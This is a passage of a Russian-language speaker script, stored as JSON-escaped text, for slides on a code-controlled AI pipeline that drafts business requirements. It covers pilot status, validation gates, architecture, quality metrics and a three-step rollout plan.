\u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 